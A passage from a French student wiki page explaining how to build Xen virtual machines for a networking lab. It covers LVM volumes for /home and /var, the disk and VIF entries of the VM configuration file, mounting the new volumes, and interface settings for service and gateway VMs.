* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
Dans Xen, chaque entrée &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; du fichier &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc. Le paramètre &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; Xen → aux interfaces &amp;lt;code&amp;gt;ethX&amp;lt;/code&amp;gt; dans la VM ===&lt;br /&gt;
&lt;br /&gt;
==== Côté Xen (Dom0) : tu déclares des VIF ====&lt;br /&gt;
Dans le fichier de config Xen de ta VM, tu as un truc du style :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Interprétation :'''&lt;br /&gt;
&lt;br /&gt;
* Tu crées '''2 cartes réseau virtuelles''' (2 VIF) pour la VM.&lt;br /&gt;
* Chaque VIF :&lt;br /&gt;
** a une '''MAC''' (pour l’identifier)&lt;br /&gt;
** est branchée sur un '''bridge''' Xen/Linux (un switch virtuel)&lt;br /&gt;
&lt;br /&gt;
Donc en mode “câblage” :&lt;br /&gt;
&lt;br /&gt;
* VIF #1 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
* VIF #2 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Dans la VM (DomU) : ces VIF apparaissent comme &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, … ====&lt;br /&gt;
Quand la VM boot :&lt;br /&gt;
&lt;br /&gt;
* Xen “présente” ces VIF à l’OS invité&lt;br /&gt;
* l’OS les voit comme des interfaces réseau classiques&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* '''la 1ère VIF''' devient &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''la 2ème VIF''' devient &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; ou des noms type &amp;lt;code&amp;gt;ens3&amp;lt;/code&amp;gt;), mais '''dans ton TP tu es bien sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;''', donc on garde ça.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
ip addr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Tu verras &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; et leurs MAC. Tu peux matcher avec celles du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Le bridge Xen = “le switch” auquel la carte est connectée ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=pont_Gercourt&amp;lt;/code&amp;gt; : réseau '''privé IPv4''' entre tes VMs (commutateur virtuel interne)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;) : réseau '''public / infra école / Internet'''&lt;br /&gt;
&lt;br /&gt;
Donc, si ta VM a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt; → elle est sur le réseau privé&lt;br /&gt;
* &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; → elle est sur le réseau public&lt;br /&gt;
&lt;br /&gt;
C’est exactement pour ça que dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; tu mets :&lt;br /&gt;
&lt;br /&gt;
* IPv4 privé sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* IPv6 (direct) sur &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
